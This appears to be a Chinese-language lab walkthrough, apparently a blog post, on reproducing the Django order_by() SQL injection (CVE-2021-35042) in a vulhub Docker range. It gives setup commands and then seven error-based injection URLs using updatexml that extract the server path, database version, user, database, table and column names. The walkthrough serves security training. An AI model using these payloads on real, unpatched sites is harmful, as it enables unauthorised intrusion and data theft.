什么是 Django 框架
Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库，使得开发 Web 应用程序变得更加容易和高效。Django 遵循了"MTV"（模型-模板-视图）的设计模式，将应用程序的不同组件分离开来，使得开发人员可以更加专注于应用程序的不同方面。Django 组件存在 SQL 注入漏洞，该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足，攻击者可利用该漏洞在未授权的情况下，构造恶意数据执行 SQL 注入攻击，最终造成服务器敏感信息泄露。
目录：
[什么是 Django 框架](#什么是 Django 框架)
[开启 漏洞 靶场：](#开启 漏洞 靶场：)
[（2）启用 vulhub 漏洞：](#（2）启用 vulhub 漏洞：)
[（3）进行浏览：主机的 8000 端口.](#（3）进行浏览：主机的 8000 端口.)
[进行 漏洞 测试：](#进行 漏洞 测试：)
[（1）寻找 URL 有输入点的地方就行：](#（1）寻找 URL 有输入点的地方就行：)
开启 漏洞 靶场：
Web安全：iwebsec || vulhub 靶场搭建.（各种漏洞环境集合，一键搭建漏洞测试靶场）_iwebsec靶场-CSDN博客
（1）查看目录：
（1）cd vulhub
（2）ls
（2）启用 vulhub 漏洞：
（1）cd django // 切换到对应的漏洞目录.
（2）cd CVE-2021-35042 // 切换到对应的漏洞版本.
（3）docker-compose build // 建立容器
（4）docker-compose up -d // 启用漏洞环境.
（5）docker ps // 查看环境运行状态 
（3）进行浏览：主机的 8000 端口.
进行 漏洞 测试：
（1）寻找 URL 有输入点的地方就行：
例如：
http://172.16.10.19:8000//vuln/?order=后面就是写SQL语句的查询.
（2）构造报错注入进行攻击获取数据：（查询根目录信息）
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
（3）构造报错注入进行攻击获取数据：（查询数据库版本信息）
/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
（4）构造报错注入进行攻击获取数据：（查当前用户）
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20user%28%29%29%29,1%29%23
（5）构造报错注入进行攻击获取数据：（查当前数据库）
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20database%28%29%29%29,1%29%23
（6）构造报错注入进行攻击获取数据：（查表）
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=database%28%29%29%29,1%29%23
（7）构造报错注入进行攻击获取数据：（查字段）
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,concat%280x5c,%28select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1%29,0x5c%29,1%29%23